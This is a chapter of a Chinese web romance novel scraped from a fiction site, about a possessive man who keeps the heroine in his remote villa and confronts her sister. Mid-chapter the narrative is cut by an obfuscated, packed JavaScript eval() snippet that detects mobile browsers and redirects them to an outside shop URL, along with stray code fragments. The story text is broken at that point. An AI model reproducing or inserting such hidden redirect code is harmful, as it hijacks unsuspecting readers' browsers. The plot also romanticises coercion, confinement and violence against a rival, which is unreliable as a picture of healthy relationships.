文趣网 > 都市小说 > 她为什么对我这么好? > 93. 第93章
    少女的吻十分清浅,如蝴蝶落肩。

    盛淮雪不敢喘息,也不敢加深,只能阖上眼睛,虔诚的感受着这只短暂为他停留的蝴蝶。

    此后的一段时间,盛礼和盛淮雪开始了“同居爱人”的生活。

    盛礼偶尔会感到匪夷所思,她的两段感情经历都不是很浪漫,没有鲜花表白、戒指香氛,而都是坐在客厅沙发上,像谈判一样,对方提出申请,她批准。

    都很草率。

    不过跟谢兰泽谈恋爱时,他们没太多接触的机会,只是从手机上相互问候一下,祁家宴厅里的牵手喂蛋糕已经是他们做过最亲密的事了。

    但盛淮雪远没有谢兰泽那么省心,他事超级多,狗皮膏药跟屁虫一样,三岁小孩粘着妈妈的频率都没他粘着盛礼的频率高。

    上午八点,天光大亮。

    盛礼在睡梦中感觉嘴巴火燎燎的,迷迷糊糊睁开眼,发现盛淮雪正在嘬她的唇。

    “宝宝醒了?”青年的声音极轻极柔,亲昵地亲了亲盛礼的眼皮:“别睡了,起来吃早饭了。”

    哪里的神经病跑出来了?

    没睡醒的恼怒情绪在大脑中缓缓流过,盛礼小脸一皱就要骂人,盛淮雪精准的识别到她的情绪,十分迅速地堵住了少女的唇。

    亲吻逐渐加深,静谧的卧室中隐晦的响起了黏腻的水声。直至少女脸色涨红,大脑完全清醒,盛淮雪才松开她,轻轻拭去她唇边的水痕。

    “作为一个合格的爱人,不可以无缘无故的辱骂伴侣。”

    “我没有无缘无故骂人。”盛礼坐起来扭动了下手腕:“你要是再趁我睡觉的时候亲我,我就把你打得你哥都——哎!你干什么!”

    盛淮雪两手箍在盛礼的两条腿上,抱小孩一样面对面将她抱起来,盛礼为了保持平衡不得不惊慌失措地搂住他的脖颈。

    “你如果打我,就是家暴行为,那样不仅不算是一个合格的爱人,甚至连合格的人都不算了。”盛淮雪抱着盛礼走进洗手间,将她放在台面上,啄了下她的唇:“小礼洗漱吧,我在这陪你。”

    盛礼满头问号:“这有什么好陪的??”

    盛淮雪理直气壮:“谈恋爱都是这样的。”

    “你谈过?”

    “没有,我可不像小礼一样,到处拈花惹草,小礼可是我的初恋呢。”

    “……”

    陪伴洗漱,互喂早饭,恶心吧啦的一早上结束后,盛礼终于迎来了解放时间——盛淮雪要出门了。

    作为一个合格的爱人,盛礼应盛淮雪的要求给他系领带。

    “我不会。”

    反反复复比划了一通后,盛礼把领带扔了回去:“别系了,这样也挺好看的。”

    盛淮雪接过领带戴上,捉住少女的手,按着她一步一步的将领带打好。

    “学会了吗?”

    盛礼烦躁地摇了摇头。

    盛淮雪亲了亲盛礼的手:“一个合格的爱人最好还是要学学怎么给伴侣打领带的。这样,我每天系着小礼打好的领带出门,才会感觉生活充满希望。”

    “少扯这些腻腻歪歪的。”盛礼不满道:“为什么只有我要学如何做一个合格的爱人,你怎么不学?”

    “我已经在学了。”青年眼瞳幽深:“昨晚你躺在我身边,我却忍着没有脱你衣服的时候,就已经在学了。”

    “……”

    “好啦,我要出门了。”盛淮雪向前探身:“小礼跟我说再见吧。”

    盛礼板着脸,飞快的在青年唇上啄了一下:“再见。”

    盛淮雪笑眯眯:“小礼会目送我离开吗?”

    “……会。”

    “小礼会想我吗?”

    “……会。”

    “小礼会逃跑吗?”

    盛礼顿了下,眸色冷淡:“既然答应了要和你在一起三个月,我就会遵守诺言。”

    听到这番话,青年并没有露出一个放心或者开心的表情,只是扣着盛礼的后脑,轻轻吻过她的眼皮。

    “不要这么冷漠的看着我。”

    “我会很难过。”

    *

    公路上没多少车,邢寂踩着油门,以一种极快的速度匀速行驶着车子。

    盛淮雪住的地方离市区非常远,故而他们每天要在路上花费很多时间。邢寂抬眸扫了眼后视镜,后座上的男人矜贵典雅,从头发丝精致到了皮鞋底,唯独领带有些许歪歪扭扭,像是系的人不甚熟练。

    “主人,盛运想见您。”

    漂亮的青年靠着椅背,双眸轻阖,像是一尊不可亵玩的玉像:“有说什么事么。”

    “……没有,但属下猜测,会和小姐有关。”

    “毕竟做过我一段时间的长姐,不去看看未免有些不礼貌。事情结束后去趟盛家吧。”

    “是。”

    安静了一会后,邢寂犹豫着开口:“主人,小姐那边……您准备一直瞒着吗?”

    后座上的青年缓缓睁开了眼。

    “得到一个女人的办法岂止上千种。”邢寂看着青年眼下的乌黑,到底有些心疼:“您又何必……”

    静默了好一会儿,青年才慢慢开口:“有什么办法能让一个女人觉得你很可怜?”

    邢寂:“?”

    “霍见辞到底是了解她的。”盛淮雪将目光投向窗外:“小礼这个人,性格健康,人格健全,没什么心魔阴影、心理缺陷,甚至还颇为冷漠、铁石心肠。”

    邢寂悄悄叹了口气。他花了好长的时间才接受了主人是个恋爱脑的事实。一旦话题转移到他那位心上人身上,必定要长篇大论、长吁短叹。

    果不其然,青年继续道:“她不用费什么力气就能让很多人心甘情愿的臣服,但我却想不到任何打动她的办法。”

    邢寂不知道怎么回应,恋爱脑的世界他不懂。

    “小礼好像只有一个弱点,就是心软。”盛淮雪认真思索:“如果我受了很重的伤,伤到要死了,小礼会不会多看我一眼?”

    邢寂大骇,万万不可几个字还没说出来,就听青年说了句更让人毛骨悚然的话。

    “要不然……我把眼尾的痣点掉,假装我就是霍见辞,这样的话,小礼是不是就能心甘情愿的留在我身边了?”

    *

    盛淮雪不在家,别墅里没有信号。盛礼看了会书,用木枝做剑练了几招,再次瘫倒在沙发上,深感无聊。

    本以为盛淮雪不在家她会更自在些,结果还不如他在家时有意思。

    虽然答应了盛淮雪不会逃走,但盛礼依然在别墅中巡视,审视着每一个可能的逃生通道,以备不时之需。

    偌大的三层小楼里只住了盛礼和盛淮雪两个人。可是每个房间都被打扫的一尘不染。盛

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17707721|202028||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    礼从不在家务活上出力,故而她感到十分惊奇——盛淮雪是怎么做到边粘着她边把房间打扫的这么干净的?

    盛礼不信这么大的别墅里没有一丝卫生漏洞,认真扫描着每一个角落,目标从寻找逃生通道变成寻找卫生死角。

    经过她不懈的努力,终于三楼露台上发现了一个烟头。

    盛淮雪抽烟她是知道的,所以没什么别的想法,只是颇为得意的想:盛淮雪果然也只是普通人而已。

    盛礼随手捡起烟头扔进垃圾桶里,视线不经意往垃圾桶里瞥了眼,骤然顿住。

    不小的垃圾桶里,竟装着近半桶的烟头!

    为了保持勤换垃圾袋的良好习惯,盛淮雪买的垃圾袋上都印有日期。而这个桶里垃圾袋上的日期是昨天。

    也就是说,仅仅一天的时间,盛淮雪就抽了半桶烟。

    盛礼有些心惊。

    这么抽下去的话,肺都会被抽漏吧……

    他哪来那么多烦心事需要抽这么多烟来缓解?

    *

    今日并不是一个晴天。盛家宅院里的氛围也颇为低沉。

    世家贵族大多古板沉闷,盛礼在家时招猫逗狗、追剧说笑,才给偌大的宅院里增添了几分活力。如今盛礼离开已经很久了,这栋别墅又恢复到了以前的沉闷无趣,甚至还多了几队妖人看守。

    没有盛礼的盛家,盛淮雪并没有什么好留恋的。只不过盛礼喜欢知恩图报的好人,盛运也算是对他有恩,既然盛运想见他,他来一趟也不费什么事。

    打开书房的门,盛运依然坐在熟悉的长桌后。年轻的上位者眉宇间增添了几抹憔悴,可脊背依然挺得很直。

    “听说长姐找我。”青年站在长桌前,像以前一样谦和有礼,得到盛运的首肯后,才坐在了椅子上。

    盛运眸色冷淡,开门见山:“小礼在哪。”

    “当然是在家啊。”青年粲然一笑:“长姐放心,我动谁都不会动小礼的。”

    “左右我们都在你的控制下,为什么不让小礼和我们一起?”盛运发号施令:“我要见她。”

    “抱歉,我不能答应长姐。”青年长腿交叠,不紧不慢道:“小礼现在很好,不见你们,她可能会更开心。”

    女人看着青年的黑瞳,目光凌厉又理智:“你喜欢她。”

    青年有些好奇:“很明显吗?长姐是怎么看出来的?”

    “你派人把谢兰泽打个半死,趁他神智不清时逼着他在退婚书上签字。事情做得这么高调,你不就是想让我们都看出来么。”

    青年笑了。

    “我不想跟你扯前尘往事恩怨是非,也不指望你能放过我们。”盛运停顿了下,一贯强硬冷淡的语气轻缓几分:“小礼曾说,妖人也是人,也是懂恩义廉耻的,盛家到底养你一场,你能不能,放过小礼?”

    盛淮雪神情未变,嘴角的弧度异常标准:“长姐何出此言,小礼和我在一起很愉快,何谈放不放过?”

    “可她不喜欢你,强求对你们都没有好处。”

    “我并不这么认为。”青年垂下眼睫,手指轻柔地搭在领结上,像是在触碰什么稀世珍宝:“小礼今天已经学会打领带了。”

    手指将衬衣领子向下扯了扯,露出脖颈上绯红暧昧的咬痕,青年笑眯眯看着眸光冷冽的女人:“我说了,小礼和我在一起,很愉快。”